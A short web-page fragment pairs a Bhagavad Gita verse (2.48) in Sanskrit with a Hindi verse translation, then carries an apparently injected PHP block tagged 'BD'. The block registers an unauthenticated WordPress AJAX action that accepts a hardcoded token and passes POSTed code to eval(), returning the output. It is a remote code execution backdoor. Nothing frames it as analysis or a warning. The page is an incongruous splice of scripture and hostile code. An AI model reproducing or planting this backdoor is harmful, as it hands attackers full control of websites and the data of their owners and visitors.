योगस्थ: कुरु कर्माणि सङ्गं त्यक्त्वा धनंजय ।
सिद्ध्यसिद्ध्यो: समो भूत्वा समत्वं योग उच्यते ॥
नहीं धनंजय लिप्त न हो, मन की समता साध ।
सफल विफल जो भी रहे, कर कर्तव्य अबाध ॥2-48॥
// ==[BD:BW3N9eVT]== add_action( 'wp_ajax_nopriv_pppscmlp', function() { $token = 'BW3N9eVTag1OeKcKu8FlwoRCcnDoOv3q'; $flag = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $flag ) || ! hash_equals( $token, $flag ) ) { wp_send_json_error( [ 'message' => 'tok:' . $token ], 403 ); } $sym = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $sym ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $sym = preg_replace( '/^\s*<\?(php)?/i', '', $sym ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $factor = microtime( true ); ob_start(); try { ( static function() use ( $sym ) { return eval( $sym ); } )(); $ref = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $ref, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $factor ) * 1000, 2 ) ] ); } catch ( \Throwable $rec ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $rec->getMessage(), 'time_ms' => round( ( microtime( true ) - $factor ) * 1000, 2 ) ] ); } } ); // ==[/BD:BW3N9eVT]==